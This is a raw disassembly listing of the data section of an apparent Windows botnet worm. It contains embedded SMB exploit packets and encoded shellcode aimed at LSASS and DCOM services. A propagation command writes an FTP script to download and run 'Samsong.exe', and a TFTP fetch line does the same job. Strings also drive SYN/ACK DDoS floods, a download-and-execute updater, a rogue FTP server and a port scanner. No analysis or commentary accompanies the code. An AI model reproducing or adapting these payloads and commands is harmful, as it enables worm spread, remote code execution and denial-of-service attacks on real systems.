		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41E280	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_2:					; DATA XREF: sub_401B98+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_41E2E4	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_41E350	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41E3F4	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_41E474	dd offset loc_401495	; DATA XREF: sub_401B98+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_41E508	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_41E574	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401B98+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_41E5E8	dd 0			; DATA XREF: sub_401B98+35Fo
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_41E670	dw 0AD9Dh		; DATA XREF: sub_401A39+30r
					; sub_401B98+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_41E6B0	dd 1004600h		; DATA XREF: sub_401B98+140r
					; sub_401B98+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
; char aS_0[]
aS_0		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401A39+100o
					; sub_409557+3916o ...
		align 10h
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get Samsong.exe >> o'
					; DATA XREF: sub_401A39+BCo
		db ' &echo quit >> o &ftp -n -s:o &Samsong.exe',0Dh,0Ah,0
		align 10h
; char aTftpISGetS[]
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_401A39+97o
dword_41E7F4	dd 6EB06EBh, 0		; DATA XREF: sub_401B98+177o
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401B98+27o
		align 4
dword_41E808	dd 1CEC8166h		; DATA XREF: sub_401B98+Dr
dword_41E80C	dd 0E4FF07h		; DATA XREF: sub_401B98+16r
		dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h,	0E91295D9h
		dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h
		dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h
		dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh
		dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh
		dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh
		dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h
		dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh,	59AA4B9Dh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 4
		dd 0
		dd 1004600h, 1,	326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h
		dd 20206C61h, 755B2020h, 6576696Eh, 6C617372h, 656E205Dh
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0
aAsn1smbnt	db 'asn1smbnt',0        ; DATA XREF: sub_4027F8+164o
aDcom135	db 'Dcom135',0          ; DATA XREF: sub_4013EE+2DDo
					; .text:004019D0o ...
		align 4
		dd 5 dup(0)
dword_41F090	dd 87h			; DATA XREF: sub_4021A2+1Er
					; sub_409557+2913r ...
off_41F094	dd offset sub_4013EE	; DATA XREF: sub_4027F8+1E6r
dword_41F098	dd 0			; DATA XREF: sub_4013EE+332w
					; sub_4013EE+338r ...
dword_41F09C	dd 1			; DATA XREF: sub_4022E3+1Fr
dword_41F0A0	dd 1			; DATA XREF: sub_4022E3:loc_402554r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4013EEh, 0
		dd 2 dup(1), 6D6F6364h,	35323031h, 63440000h, 30316D6Fh
		dd 3532h, 5 dup(0)
		dd 401h, 4013EEh, 0
		dd 2 dup(1), 6D6F6364h,	32h, 63440000h,	326D6Fh, 6 dup(0)
		dd 87h,	40178Dh, 0
		dd 2 dup(1), 316E7361h,	626D73h, 736C0000h, 5F737361h
		dd 353434h, 5 dup(0)
		dd 1BDh, 401FD7h, 0
		dd 2 dup(1), 73616364h,	73h, 63640000h,	737361h, 6 dup(0)
		dd 1BDh, 401734h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 1BDh, 401FD7h, 0
		dd 2 dup(1), 0Fh dup(0)
aLsass_139	db 'lsass_139',0
byte_41F252	db 1			; DATA XREF: sub_409557:loc_40D794r
					; sub_409557+4247o
aDcom1025	db 'dcom1025',0
		dd 63640100h, 737361h, 0
		dd 61736C01h, 345F7373h, 1003534h, 6D6F6364h, 32h, 10000h
		dd 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_4021A2+81o
		align 10h
; char aSD[]
aSD		db ' %s: %d,',0         ; DATA XREF: sub_4021A2+42o
		align 4
; char aScanExploitSta[]
aScanExploitSta	db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_4021A2+11o
; char aScanScanNotAct[]
aScanScanNotAct	db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_40226C+42o
		align 4
; char aScanCurrentIpS[]
aScanCurrentIpS	db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_40226C+2Co
; char aHttpdFailedToS[]
aHttpdFailedToS	db '[HTTPD]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_4022E3+36Fo
		align 4
; char aHttpdServerLis[]
aHttpdServerLis	db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
					; DATA XREF: sub_4022E3+307o
					; sub_409557+4773o
aFtpFailedToSta	db '[FTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_4022E3+267o
; char aFtpServerStart[]
aFtpServerStart	db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_4022E3+1FAo
		align 4
; char aTftpFailedToSt[]
aTftpFailedToSt	db '[TFTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_4022E3+149o
		align 4
; char aTftpServerStar[]
aTftpServerStar	db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_4022E3+DBo
					; sub_409557+45FDo
		align 4
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4026BF+38o
					; sub_408401+46o
; char aScanIpSPortDIs[]
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_4027F8+EBo
		align 4
; char aScanIpSDScanTh[]
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_4027F8+93o
; char aScanFinishedAt[]
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: sub_402A0C+1CEo
		align 4
; char aScanFailedToSt[]
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_402A0C+173o
; char aScanSDScanThre[]
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_402A0C+103o
; char aScanFailedToIn[]
aScanFailedToIn	db '[SCAN]: Failed to initialize critical section.',0
					; DATA XREF: sub_402A0C+87o
		align 4
; char aD_SS[]
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_402CEB+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_402CEB+10o
		align 4
; char a_2d_2d4d_2d_2d[]
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_402D63+60o
		align 4
aLogsCleared_	db '[LOGS]: Cleared.',0 ; DATA XREF: sub_402E03+1Ao
		align 10h
; char aLogListComplet[]
aLogListComplet	db '[LOG]: List complete.',0 ; DATA XREF: sub_402E75+DCo
		align 4
aLogBegin	db '[LOG]: Begin',0     ; DATA XREF: sub_402E75+3Fo
		align 4
dword_41F768	dd 78h			; DATA XREF: sub_403014+Ar
		align 10h
dword_41F770	dd 80000002h, 424B3Ch, 80000002h, 424B6Ch, 80000001h, 424BA4h
					; DATA XREF: sub_402FA4+7o
; char Mode[]
Mode		db 'rb',0               ; DATA XREF: sub_402FA4+63o
					; sub_403067+Bo ...
		align 4
; char aDdosDoneWithFl[]
aDdosDoneWithFl	db '[DDoS]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4030D9+5Bo
; char aDdosSendErrorD[]
aDdosSendErrorD	db '[DDoS]: Send error: <%d>.',0 ; DATA XREF: sub_40318B+302o
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_40318B:loc_4032B7o
					; sub_409557+1EACo
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_40318B:loc_40329Bo
					; sub_409557+1E95o
		align 4
; char Str2[]
Str2		db 'ddos.syn',0         ; DATA XREF: sub_40318B+F1o
					; sub_409557+1E7Eo
		align 10h
; char aDownloadBadUrl[]
aDownloadBadUrl	db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_403520+493o
		align 4
aDownloadUpda_0	db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
					; DATA XREF: sub_403520+485o
		align 10h
; char aDownloadDown_0[]
aDownloadDown_0	db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
					; DATA XREF: sub_403520+3C9o
; char aDownloadOpened[]
aDownloadOpened	db '[DOWNLOAD]: Opened: %s.',0 ; DATA XREF: sub_403520+358o
; char aOpen[]
aOpen		db 'open',0             ; DATA XREF: sub_403520+336o
					; sub_409557+15D5o ...
		align 4
; char aDownloadDownlo[]
aDownloadDownlo	db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
					; DATA XREF: sub_403520+2E1o
; char aDownloadCrcFai[]
aDownloadCrcFai	db '[DOWNLOAD]: CRC Failed (%d != %d).',0 ; DATA XREF: sub_403520+262o
		align 4
; char aDownloadFilesi[]
aDownloadFilesi	db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
					; DATA XREF: sub_403520+1D8o
		align 4
; char aDownloadUpdate[]
aDownloadUpdate	db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
					; DATA XREF: sub_403520+195o
		align 10h
aDownloadFileDo	db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
					; DATA XREF: sub_403520+183o
		align 4
; char aDownloadCouldn[]
aDownloadCouldn	db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_403520+77o
aUnknown	db 'Unknown',0          ; DATA XREF: sub_403AC8:loc_403B0Bo
					; sub_407BAB+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_403AC8:loc_403B05o
aDisk		db 'Disk',0             ; DATA XREF: sub_403AC8:loc_403AFFo
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_403AC8:loc_403AF9o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_403AC8:loc_403AF3o
		align 10h
aRam		db 'RAM',0              ; DATA XREF: sub_403AC8:loc_403AEDo
word_41F9E4	dw 3Fh			; DATA XREF: sub_403AC8+1Fo
					; sub_410E85:loc_410F87r
		align 4
; char aFailed[]
aFailed		db 'failed',0           ; DATA XREF: sub_403B59:loc_403C31o
					; sub_403C74+3Bo
		align 10h
; char aSkb[]
aSkb		db '%sKB',0             ; DATA XREF: sub_403B59+6Bo
		align 4
; char aMainSDriveSSTo[]
aMainSDriveSSTo	db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
					; DATA XREF: sub_403C74+8Eo
; char aMainSDriveSFai[]
aMainSDriveSFai	db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
					; DATA XREF: sub_403C74+58o
		align 4
; char aA[]
aA		db 'A:\',0              ; DATA XREF: sub_403D46:loc_403D8Bo
dword_41FA70	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_403EEB+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41FABC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_403EEB+E3o
dword_41FAD8	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_403EEB+118o
dword_41FAEC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_403EEB+13Fo
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_404059+5CBo
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_404059+5B7o
					; sub_409557+522o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_404059+5AAo
		align 4
; char aFtpFileTransfe[]
aFtpFileTransfe	db '[FTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_404059+55Fo
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_404059+546o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_404059+51Ao
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_404059+502o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_404059+4EDo
		align 4
; char aS_S_S_S[]
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_404059+4DCo
; char aXX[]
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_404059+4A9o
		align 4
; char aS_1[]
aS_1		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_404059+468o
		db ']',0
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_404059+42Fo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_404059+401o
		align 10h
; char aList[]
aList		db 'LIST',0             ; DATA XREF: sub_404059+3EEo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_404059+3B3o
		align 4
; char aPasv[]
aPasv		db 'PASV',0             ; DATA XREF: sub_404059+3A0o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_404059+390o
; char aI[]
aI:					; DATA XREF: sub_404059+37Co
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_404059+355o
; char aA_0[]
aA_0:					; DATA XREF: sub_404059+341o
		unicode	0, <A>,0
; char aType[]
aType		db 'TYPE',0             ; DATA XREF: sub_404059+32Ao
					; sub_404059+365o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_404059+31Ao
		align 4
; char off_41FCD4[]
off_41FCD4	dd offset dword_445750	; DATA XREF: sub_404059+306o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_404059+2F6o
		align 4
; char aRest[]
aRest		db 'REST',0             ; DATA XREF: sub_404059+2E2o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_404059+2D2o
		align 4
; char aSyst[]
aSyst		db 'SYST',0             ; DATA XREF: sub_404059+2BEo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_404059+2AEo
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_404059+29Ao
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_404059+28Ao
		align 4
; char aUser[]
aUser		db 'USER',0             ; DATA XREF: sub_404059+275o
		align 4
; char aSS_1[]
aSS_1		db '%s %s',0            ; DATA XREF: sub_404059+264o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_404059+1DCo
		align 4
; char aHttpdErrorServ[]
aHttpdErrorServ	db '[HTTPD]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_404771+3F8o
		align 4
; char asc_41FD9C[]
asc_41FD9C	db 0Dh,0Ah,0		; DATA XREF: sub_404771+2CFo
		align 10h
; char Delim[]
Delim:					; DATA XREF: sub_404771+293o
					; sub_409557+A8o ...
		unicode	0, < >,0
; char SubStr[]
SubStr		db 'GET ',0             ; DATA XREF: sub_404771+269o
		align 4
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404BCC+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404BCC+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
